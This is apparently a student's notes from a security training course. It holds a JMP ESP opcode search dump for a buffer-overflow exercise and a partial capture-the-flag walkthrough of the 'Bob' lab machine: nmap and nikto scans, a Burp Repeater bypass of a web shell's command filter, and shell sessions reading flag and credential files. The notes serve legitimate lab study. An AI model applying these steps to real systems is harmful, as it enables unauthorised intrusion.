/* OPCODE found at 0x76077be7 OPCODE found at 0x76078cad OPCODE found at 0x76078cb9 OPCODE found at 0x76079d7f OPCODE found at 0x7607ad25 OPCODE found at 0x7607dea7 OPCODE found at 0x7607dffb OPCODE found at 0x7607e00b OPCODE found at 0x76080be5 OPCODE found at 0x76080be9 OPCODE found at 0x76080ff9 OPCODE found at 0x760812d1 OPCODE found at 0x760823a3 OPCODE found at 0x7608345d OPCODE found at 0x76083e2b OPCODE found at 0x76084523 OPCODE found at 0x76084ef9 OPCODE found at 0x760855e9 */
D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 0-1 In function 'int main()': D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 1817 [错误] '__try' was not declared in this scope D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 2817 [错误] '__except' was not declared in this scope D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 1215 [警告] unused variable 'ptr' [-Wunused-variable] D:/文件/大学/实训/缓冲区溢出/SearchJmpEsp.cpp 1313 [警告] unused variable 'address' [-Wunused-variable]
OPCODE found at 0x75940FBF OPCODE found at 0x75940FC3 OPCODE found at 0x75940FC7 OPCODE found at 0x75941013 OPCODE found at 0x759410EF OPCODE found at 0x7594117B OPCODE found at 0x7594127F OPCODE found at 0x75941383 OPCODE found at 0x75941CA7 OPCODE found at 0x75941DA7 OPCODE found at 0x75941E1B OPCODE found at 0x75941EA7 OPCODE found at 0x75941F1B OPCODE found at 0x75941F77 OPCODE found at 0x75941FA7 OPCODE found at 0x759420A7 OPCODE found at 0x75942183 OPCODE found at 0x759421A7 OPCODE found at 0x759422A7 OPCODE found at 0x759423A7 OPCODE found at 0x759424A7 OPCODE found at 0x759425A7 OPCODE found at 0x759426A7 OPCODE found at 0x75942783 OPCODE found at 0x759427A7 OPCODE found at 0x759428A7 OPCODE found at 0x759429A7 OPCODE found at 0x75942AA7 OPCODE found at 0x75942BA7 OPCODE found at 0x75942CA7 OPCODE found at 0x75942DA7 OPCODE found at 0x75942EA7 OPCODE found at 0x75942FA7 OPCODE found at 0x759430A7 OPCODE found at 0x759431A7 OPCODE found at 0x759432A7 OPCODE found at 0x759433A7 OPCODE found at 0x759434A7 OPCODE found at 0x759435A7 OPCODE found at 0x759436A7 OPCODE found at 0x759437AB OPCODE found at 0x7594CBA7 OPCODE found at 0x7594CBCF OPCODE found at 0x7594D67B OPCODE found at 0x7594F437 OPCODE found at 0x7594FA27 OPCODE found at 0x75952433 OPCODE found at 0x75958ADB OPCODE found at 0x759592F7 OPCODE found at 0x75959F07 OPCODE found at 0x7595A10B OPCODE found at 0x7595A417 OPCODE found at 0x7595ADA7 OPCODE found at 0x7595AEB3 OPCODE found at 0x7595AFB7 OPCODE found at 0x7595B0BF OPCODE found at 0x7595B1C7 OPCODE found at 0x7595B2CB OPCODE found at 0x7595B3D3 OPCODE found at 0x7595B6DF OPCODE found at 0x7595B9F3 OPCODE found at 0x7595BAFF OPCODE found at 0x7595BC07 OPCODE found at 0x7595BE13 OPCODE found at 0x7595BF1F OPCODE found at 0x7595CB1F OPCODE found at 0x7595D70F OPCODE found at 0x7595D7C7 OPCODE found at 0x7595DDDF OPCODE found at 0x7595DF0B OPCODE found at 0x7595DFD3 OPCODE found at 0x7595E09B OPCODE found at 0x7595E163 OPCODE found at 0x7595E543 OPCODE found at 0x7595E607 OPCODE found at 0x7595E6CF OPCODE found at 0x7595E797 OPCODE found at 0x7595E857 OPCODE found at 0x7595E913 OPCODE found at 0x7595F097 OPCODE found at 0x7595F0CB OPCODE found at 0x7595F39F OPCODE found at 0x7595F6EF OPCODE found at 0x7595F773 OPCODE found at 0x7595F7FB OPCODE found at 0x7595FB23 OPCODE found at 0x7595FBA7 OPCODE found at 0x7596008F OPCODE found at 0x759600D7 OPCODE found at 0x75960163 OPCODE found at 0x75964AE3 OPCODE found at 0x759677BB OPCODE found at 0x75968B27 OPCODE found at 0x75969827 OPCODE found at 0x759698EB OPCODE found at 0x75969AC7 OPCODE found at 0x7596B0D3 OPCODE found at 0x7596B7B3 OPCODE found at 0x75970AFB OPCODE found at 0x759733D3 OPCODE found at 0x759734D3 OPCODE found at 0x759734DB OPCODE found at 0x759734DF OPCODE found at 0x759734E3 OPCODE found at 0x759735E7 OPCODE found at 0x759735F7 OPCODE found at 0x759735FB OPCODE found at 0x75973703 OPCODE found at 0x75973707 OPCODE found at 0x7597370B OPCODE found at 0x75973917 OPCODE found at 0x75973C27 OPCODE found at 0x75973CEF OPCODE found at 0x75973D37 OPCODE found at 0x75973E3B OPCODE found at 0x7597410B OPCODE found at 0x75974B3F OPCODE found at 0x759754F7 OPCODE found at 0x75975E77 OPCODE found at 0x75975E7B OPCODE found at 0x75975E7F OPCODE found at 0x75975E83 OPCODE found at 0x75975E87 OPCODE found at 0x75975E8B OPCODE found at 0x75975E8F OPCODE found at 0x75975E93 OPCODE found at 0x75975F2F OPCODE found at 0x75975F5F OPCODE found at 0x75975FEF OPCODE found at 0x75976283 OPCODE found at 0x75976407 OPCODE found at 0x759764BF OPCODE found at 0x759764CB OPCODE found at 0x7597658F OPCODE found at 0x7597664F OPCODE found at 0x75976877 OPCODE found at 0x759770EB OPCODE found at 0x75978073 OPCODE found at 0x75978077 OPCODE found at 0x75978153 OPCODE found at 0x7597CDBF OPCODE found at 0x7597CDC3 OPCODE found at 0x7597CDC7 OPCODE found at 0x7597CE13 OPCODE found at 0x7597CEEF OPCODE found at 0x7597CF7B OPCODE found at 0x7597D07F OPCODE found at 0x7597D183 OPCODE found at 0x7597DAA7 OPCODE found at 0x7597DBA7 OPCODE found at 0x7597DC1B OPCODE found at 0x7597DCA7 OPCODE found at 0x7597DD1B OPCODE found at 0x7597DD77 OPCODE found at 0x7597DDA7 OPCODE found at 0x7597DEA7 OPCODE found at 0x7597DF83 OPCODE found at 0x7597DFA7 OPCODE found at 0x7597E0A7 OPCODE found at 0x7597E1A7 OPCODE found at 0x7597E2A7 OPCODE found at 0x7597E3A7 OPCODE found at 0x7597E4A7 OPCODE found at 0x7597E583 OPCODE found at 0x7597E5A7 OPCODE found at 0x7597E6A7 OPCODE found at 0x7597E7A7 OPCODE found at 0x7597E8A7 OPCODE found at 0x7597E9A7 OPCODE found at 0x7597EAA7 OPCODE found at 0x7597EBA7 OPCODE found at 0x7597ECA7 OPCODE found at 0x7597EDA7 OPCODE found at 0x7597EEA7 OPCODE found at 0x7597EFA7 OPCODE found at 0x7597F0A7 OPCODE found at 0x7597F1A7 OPCODE found at 0x7597F2A7 OPCODE found at 0x7597F3A7 OPCODE found at 0x7597F4A7 OPCODE found at 0x7597F5AB OPCODE found at 0x7599109B OPCODE found at 0x7599109F OPCODE found at 0x759929EB OPCODE found at 0x75993183 OPCODE found at 0x75993CF7 OPCODE found at 0x75993D0F OPCODE found at 0x7599481B OPCODE found at 0x75994BFB OPCODE found at 0x75994C9F OPCODE found at 0x7599595B OPCODE found at 0x7599595F OPCODE found at 0x75995E8C OPCODE found at 0x75995E9C OPCODE found at 0x75995F6C OPCODE found at 0x7599E18F OPCODE found at 0x7599FA1B OPCODE found at 0x759A0FCB OPCODE found at 0x759A261F OPCODE found at 0x759A2627 OPCODE found at 0x759A270F OPCODE found at 0x759A4633 OPCODE found at 0x759A4637 OPCODE found at 0x759B2CF7 OPCODE found at 0x759B38EF OPCODE found at 0x759B4CE7 OPCODE found at 0x759B512B OPCODE found at 0x759BF74F OPCODE found at 0x759C0FDB OPCODE found at 0x759C258B OPCODE found at 0x759C3BDF OPCODE found at 0x759C3BE7 OPCODE found at 0x759C3CCF OPCODE found at 0x759C5BF3 OPCODE found at 0x759C5BF7 OPCODE found at 0x759C797B OPCODE found at 0x759C98EB OPCODE found at 0x759CA1CF OPCODE found at 0x759E5AA9 OPCODE found at 0x759E66DF OPCODE found at 0x759E6AE3 OPCODE found at 0x759E6B6F OPCODE found at 0x759E6B73 OPCODE found at 0x759EEBA3 OPCODE found at 0x759F0D2F OPCODE found at 0x759F1C91 OPCODE found at 0x759F34B7 OPCODE found at 0x759F457D OPCODE found at 0x759F8929 OPCODE found at 0x759F9253 OPCODE found at 0x759F955F OPCODE found at 0x759F9963 OPCODE found at 0x759F99EF OPCODE found at 0x759F99F3 OPCODE found at 0x75A01A23 OPCODE found at 0x75A03BAF OPCODE found at 0x75A06337 OPCODE found at 0x75A073FD OPCODE found at 0x75A0D5BD OPCODE found at 0x75A105FB OPCODE found at 0x75A12293 OPCODE found at 0x75A17D19 OPCODE found at 0x75A18A67 OPCODE found at 0x75A1AEEB OPCODE found at 0x75A1BF31 OPCODE found at 0x75A1DBA1
┌──(root㉿kali)-[~] └─# nmap -sP 192.168.233.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-04 10:53 CST Nmap scan report for 192.168.233.1 Host is up (0.00021s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.233.2 Host is up (0.00011s latency). MAC Address: 00:50:56:EA:3E:CA (VMware) Nmap scan report for 192.168.233.138 Host is up (0.000075s latency). MAC Address: 00:0C:29:E8:1C:09 (VMware) Nmap scan report for 192.168.233.254 Host is up (0.00037s latency). MAC Address: 00:50:56:F7:F3:DD (VMware) Nmap scan report for 192.168.233.135 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 2.10 seconds
bob地址
192.168.233.138
nmap -A 192.168.233.138 -p- -oN nmap192.168.233.138
┌──(root㉿kali)-[~] └─# nmap -A 192.168.233.138 -p- -oN nmap192.168.233.138 Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-04 10:58 CST Nmap scan report for 192.168.233.138 Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 4 disallowed entries | /login.php /dev_shell.php /lat_memo.html |_/passwords.html |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.25 (Debian) 25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA) | 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA) |_ 256 391656fb4e0f508540d3532241433815 (ED25519) MAC Address: 00:0C:29:E8:1C:09 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 1.30 ms 192.168.233.138
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
┌──(root㉿kali)-[~] └─# nikto -h http://192.168.233.138 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.233.138 + Target Hostname: 192.168.233.138 + Target Port: 80 + Start Time: 2024-01-04 11:16:47 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.25 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: Entry '/dev_shell.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/lat_memo.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/passwords.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file /, inode: 591, size: 5669af30ee8f1, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
Really who made this file at least get a hash of your password to display, hackers can't do anything with a hash, this is probably why we had a security breach in the first place. Comeon people this is basic 101 security! I have moved the file off the server. Don't make me have to clean up the mess everytime someone does something as stupid as this. We will have a meeting about this and other stuff I found on the server. >:( -Bob
1 2 3 4
Memo sent at GMT+10:00 2:37:42 by User: Bob Hey guys IT here don't forget to check your emails regarding the recent security breach. There is a web shell running on the server with no protection but it should be safe as I have ported over the filter from the old windows server to our new linux one. Your email will have the link to the shell.
-Bob
uname -a
Output:
Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
在dev.shell.php页面输入ls(之前不让访问的命令),然后在BP中抓包,将抓到的包send to Repeater模块(重放模块),然后点击intercept is on,即关闭拦截抓包,这样dev.shell.php页面就能接收到先前输入的ls,对方网页也就不会发现异常了。之后点击repeater模块的send按钮,得到response。
cd/ bash: cd/: No such file or directory www-data@Milburg-High:/var/www/html$ ls ls WIP.jpg dev_shell.php.bak lat_memo.html robots.txt about.html dev_shell_back.png login.html school_badge.png contact.html index.html news.html dev_shell.php index.html.bak passwords.html www-data@Milburg-High:/var/www/html$ cat flag.txt cat flag.txt cat: flag.txt: No such file or directory www-data@Milburg-High:/var/www/html$ cd ../../ cd ../../ www-data@Milburg-High:/var$ cd ../ cd ../ www-data@Milburg-High:/$ ls -a ls -a . boot flag.txt initrd.img.old lost+found opt run sys var .. dev home lib media proc sbin tmp vmlinuz bin etc initrd.img lib64 mnt root srv usr vmlinuz.old www-data@Milburg-High:/$ cat flag.txt cat flag.txt cat: flag.txt: Permission denied
jc@Milburg-High:/home/bob$ cd /home/bob/ cd /home/bob/ jc@Milburg-High:/home/bob$ ls -l ls -l total 32 drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Desktop drwxr-xr-x 3 bob bob 4096 Mar 5 2018 Documents drwxr-xr-x 3 bob bob 4096 Mar 8 2018 Downloads drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Music drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Pictures drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Public drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Templates drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Videos jc@Milburg-High:/home/bob$ cd Documents cd Documents jc@Milburg-High:/home/bob/Documents$ ls ls login.txt.gpg Secret staff.txt jc@Milburg-High:/home/bob/Documents$ cat login.txt.gpg cat login.txt.gpg o��J[V0w�q�OS����@P�i4��u E,����8=kj�Z����9`�5G��4��!�����!�����Q:�1���Q�jc@Milburg-High:/home/bob/Documents$
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ls ls notes.sh <uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ./notes.sh ./notes.sh TERM environment variable not set. -= Notes =- Harry Potter is my faviorite Are you the real me? Right, I'm ordering pizza this is going nowhere People just don't get me Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here> Cucumber Rest now your eyes are sleepy Are you gonna stop reading this yet? Time to fix the server Everyone is annoying Sticky notes gotta buy em <uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$